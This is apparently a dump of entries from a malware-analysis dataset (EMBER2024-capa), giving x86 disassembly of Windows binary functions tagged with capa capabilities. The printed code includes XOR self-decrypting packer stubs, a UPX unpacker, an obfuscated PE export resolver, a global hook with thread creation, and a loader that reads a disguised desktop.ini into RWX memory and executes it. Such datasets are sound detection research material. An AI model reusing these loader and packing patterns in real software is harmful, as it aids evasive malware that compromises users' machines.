joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45cafc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45cca7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45cc88
mov dl, 1
mov eax, dword [0x419c98]
call fcn.004033b4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404134
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45cc77
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044a0cc
test al, al
je 0x45cc6a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45ccb8
lea eax, [ebp - 0x254]
call fcn.004095e0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45cc6a
xor eax, eax
push ebp
push 0x45cc63
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45ccf0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45cc4c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004043a4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45cc4c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004043a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45cc6a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45cb6d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041e190
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ccae
lea eax, [ebp - 0x260]
call fcn.00404134
ret

Function at 0x45d5dc
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x497be0]
cmp byte [eax + 0xa5], 0
jne 0x45d64d
cmp dword [0x497bf8], 0
jne 0x45d60e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45d598
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x497bf8], eax
cmp dword [0x497bf4], 0
jne 0x45d629
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x497bf4], eax
cmp dword [0x497bfc], 0
jne 0x45d64d
push esp
push 0
push 0
push 0x45d53c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x497bfc], eax
pop edx
ret
Function at 0x45d744
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45d75b
add esp, 0xfffffff0
call fcn.00403708
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00422034
mov eax, dword [0x496378]
cmp word [eax + 2], 0
jne 0x45d783
mov eax, dword [0x496378]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045ee04
mov eax, dword [0x496484]
cmp word [eax + 2], 0
jne 0x45d79d
mov eax, dword [0x496484]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045effc
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x419634]
call fcn.004033b4
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x419634]
call fcn.004033b4
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x424590]
call fcn.0042baac
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45d924
mov eax, dword [0x496200]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042be7c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45f59c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x496200]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d458
test eax, eax
je 0x45d892
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408fa4
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d480
test eax, eax
je 0x45d8a6
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004043a4
mov eax, dword [0x496058]
cmp byte [eax], 0
jne 0x45d8da
mov eax, ebx
call fcn.0045da4c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045f778
mov eax, ebx
call fcn.0046013c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45d91a
call fcn.00403760
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45dccc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x497be0]
cmp dword [eax + 0x30], 0
je 0x45dd76
cmp dword [ebx + 0x94], 0
jne 0x45dd70
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45dc5c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45dd70
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45dd36
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45dd70
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041bbe4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45dd45
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45e8d8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45e90d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404224
jmp 0x45e91a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404188
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45f954
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45f995
mov eax, esi
call fcn.004456d8
test al, al
je 0x45f995
mov eax, dword [ebx + 0x84]
call fcn.004453d4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45f995
push 0
mov eax, dword [ebx + 0x84]
call fcn.004453d4
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x461aac
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x108], edx
mov edi, eax
xor eax, eax
push ebp
push 0x461c82
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
cmp dword [edi + 0x38], 0
jne 0x461c69
mov eax, dword [edi + 0x30]
call fcn.004043f4
test eax, eax
jne 0x461b02
mov eax, dword [edi + 0x34]
call fcn.004043f4
test eax, eax
jne 0x461b02
mov eax, edi
call fcn.00461d20
jmp 0x461c69
cmp dword [edi + 0xa0], 0
jne 0x461b39
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x30]
call fcn.00409000
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x497c04]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa0], eax
cmp dword [edi + 0xa4], 0
jne 0x461b70
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x34]
call fcn.00409000
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x497c04]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa4], eax
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.00461d60
mov ebx, eax
test bl, bl
jne 0x461c1e
mov eax, dword [edi + 0x30]
call fcn.004043f4
test eax, eax
jne 0x461ba8
mov eax, dword [edi + 0xc0]
call fcn.004043f4
test eax, eax
je 0x461c1e
mov eax, dword [edi + 0xc0]
call fcn.004043f4
test eax, eax
je 0x461bca
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0xc0]
call fcn.00409000
jmp 0x461bf6
push dword [edi + 0x30]
push 0x461c9c
push dword [edi + 0x34]
lea eax, [ebp - 0x108]
mov edx, 3
call fcn.004044b4
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 0x101]
call fcn.00409000
push 7
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_WinExec
cmp eax, 0x20
jb 0x461c1e
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.00461d60
mov ebx, eax
test bl, bl
jne 0x461c2b
mov eax, edi
call fcn.00461d20
jmp 0x461c69
mov eax, dword [edi + 0x58]
test eax, eax
je 0x461c3a
mov dword [edi + 0xa8], eax
jmp 0x461c44
mov dword [edi + 0xa8], 1
mov eax, edi
call fcn.00461dd8
test al, al
je 0x461c69
mov eax, edi
mov si, 0xffee
call fcn.004035e0
xor ecx, ecx
xor edx, edx
mov eax, edi
call fcn.00461e84
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461c89
lea eax, [ebp - 0x108]
call fcn.00404134
ret

Function at 0x4677cb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x495bfe
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x467823
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x495c1f
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x467819
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x467827
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6a
nop
sub eax, 0x403d10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x1d4352a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pushal
mov word [esp + 4], 0x82a2
pushal
lea esp, [esp + 0x40]
je 0x1fceb9e
cmc
add edx, eax
stc
btr cx, 5
mov ecx, dword [esi + 0x7c]
push eax
stc
add ecx, edx
push ebp
cmp dl, bh
stc
mov dword [ebp - 0x10], ecx
cmp dh, ch
pushal
lea ecx, [ebp + 0x6ff1abb8]
mov ecx, dword [ebp + 0xc]
cmp dl, ch
bt ax, 0xd
test ch, ah
clc
cmp ecx, 0xffff
push dword [esp]
jmp 0x1d4879a
pushfd
pushal
mov byte [esp + 8], dl
lea esp, [esp + 0x34]
je 0x1fceb9e
sets dl
inc si
mov dh, 0x80
mov si, 0xed8
mov esi, dword [eax + 0x3c]
bswap dx
rcl dx, cl
add esi, eax
sar dx, cl
bt bx, cx
mov edx, dword [esi + 0x78]
cmc
bt di, 0xc
test edx, edx
jmp 0x11750fb
sub bp, di
rol ah, cl
lea ebp, [esp + 4]
shrd ax, bx, 6
daa
movzx eax, dl
sub esp, 0x14
shrd ax, di, 0xe
btc ax, 0xd
pushal
or al, al
mov dword [esp + 0x1c], esi
cmp dl, 0x7a
mov dword [esp + 0x18], edi
test sp, 0x5960
mov dword [esp + 0x14], ebx
pop eax
mov dword [esp + 0xc], edx
btc ax, cx
ror ax, cl
cmc
sar al, 6
mov eax, dword [ebp + 8]
push dword [esp + 4]
test eax, eax
jmp 0x117696f
push edi
lea esp, [esp + 0x28]
jae 0x1fceb9e
pushfd
mov word [esp], 0xfa77
lea esp, [esp + 4]
jmp 0x1fd0013
lea esp, [esp + 0x2c]
jbe 0x1d4cd4c
pushfd
sar di, 8
or bh, bh
mov edi, dword [edx + 0x24]
and cl, 0xf7
shrd bx, si, cl
seto cl
jmp 0x1d4da8f
pushal
bt cx, 0xc
bt di, ax
sub ecx, dword [edx + 0x10]
push ebx
mov byte [esp + 8], ch
cmp ecx, dword [edx + 0x14]
jmp 0x1d4759e
fistp word [edx]
xchg edx, eax
insd dword es:[edi], dx
pop ebp
test al, 0xd0
jo 0x1d4da8b
ret
sbb eax, 0x1a5d0a0
invalid
add edi, eax
inc cl
mov ebx, dword [edx + 0x20]
or cx, si
add ebx, eax
rcr cl, cl
mov dword [ebp - 8], 0
neg ch
mov ecx, dword [edx + 0x18]
sub esp, 0xfffffffc
dec edx
sbb byte [ebx - 0x2c970314], al
jp 0x1d4da7a
push 0x24ca7ad3
bt bx, 9
and al, 0x66
bt ebx, 9
test cl, dl
cmp ecx, dword [ebp - 8]
call fcn.01fd4983
jno 0x1d4daf5
lds ecx, [eax]
xchg esp, eax
add al, 5
and byte [ebp + 0x13341e7], al
add esi, dword [ebp - 0x72285a19]
das
cmp byte [edi + 0x5c], dl
stosd dword es:[edi], eax
js 0x1d4dae1
cwde
cmpsd dword [esi], dword es:[edi]
lds esp, [edi - 0x6f]
sal dword [0x55308d87], cl
jno 0x1d4daa7
xchg dword [ebp - 0x3f8eaad0], ecx
fmul qword [esi]
jp 0x1d4db2e
ret 0xbe8c
and dword es:[ebp + 0x5d], ebp
jg 0x1d4db43
mov bh, 0xa8
out 0xb9, eax
cmp byte [edx], ah
adc eax, 0x31fea26f
test byte [eax], dh
jno 0x1d4db10
pop eax
daa
stc
jae 0x1d4db76
arpl word [esi + ecx + 0x309ec904], bp
jle 0x1d4db4b
lodsb al, byte [esi]
push cs
add al, 0xc9
sahf
xor byte [esi + 0x33], bh
and eax, 0xa5239874
xlatb
scasd eax, dword es:[edi]
sbb esp, dword [edi]
xchg edx, eax
xor esp, dword fs:[esi + 0x35]
xor esp, dword [esi + 0x35]
xlatb
and al, 0xe3
jnp 0x1d4db21
mov ecx, 0xf3709579
jo 0x1d4db23
and edi, dword [ebx - 0x15]
adc al, ah
invalid
das
xchg edx, eax
dec ebp
pop ecx
sbb al, 0x4e
adc byte [ecx + 0x37], dh
aaa
sbb edi, esp
push ecx
shr byte gs:[esi*8 - 0x9d4116c], 1
out 1, al
int3
insb byte es:[edi], dx
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [ebx - 0x6a3908cb], dh
add al, 5
invalid
Function at 0x1fd1a5b
Capabilities:
Encode data using xor

Disassembly:
push esi
rol dl, 1
stc
clc
xor dl, 0x93
std
cmp dl, 0xda
push word [esp + 0x32]
popf
push edi
call fcn.01d4bb2d
sub dl, 0xbc
cmc
pushfd
stc
xor dl, 0x75
pushfd
mov byte [esp + 0x14], cl
inc dl
jmp 0x1d424d7
Function at 0x538700
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xdb000]
push edi
jmp 0x53871a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x538721
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x538710
mov eax, 1
add ebx, ebx
jne 0x538733
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x538744
jne 0x538763
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x538763
dec eax
add ebx, ebx
jne 0x538750
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x538728
add ebx, ebx
jne 0x53875f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5387b5
xor ecx, ecx
sub eax, 3
jb 0x53877b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5387ea
sar eax, 1
mov ebp, eax
jmp 0x538786
add ebx, ebx
jne 0x538786
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x538754
inc ecx
add ebx, ebx
jne 0x538794
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x538754
add ebx, ebx
jne 0x5387a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x538796
jne 0x5387b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x538796
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5387d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5387c6
jmp 0x538716
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5387d4
add edi, ecx
jmp 0x538716
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5387f2
cmp byte [edi], 0x11
jne 0x5387f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5387f7
lea edi, [esi + 0x131000]
mov eax, dword [edi]
or eax, eax
je 0x53886f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18b7d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18b954]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x538824
mov ecx, edi
jns 0x538853
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18b958]
or eax, eax
je 0x538869
mov dword [ebx], eax
add ebx, 4
jmp 0x538841
call dword [esi + 0x18b968]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5388a0
cmp al, 0xef
ja 0x538893
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x538875
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x538882
mov ebp, dword [esi + 0x18b95c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5388d4
sub esp, 0xffffff80
jmp 0x420577
Function at 0x405eab
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x42c55c], esi
push edi
jne 0x405ee5
mov ecx, 0x42c558
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x405ec1
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x42c958
jl 0x405ebc
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x405f1a
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c558]
xor eax, esi
inc ecx
dec edx
jne 0x405efd
pop edi
pop esi
not eax
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x33bf043e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x37b107e3
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2ebe7230
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3d083006
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219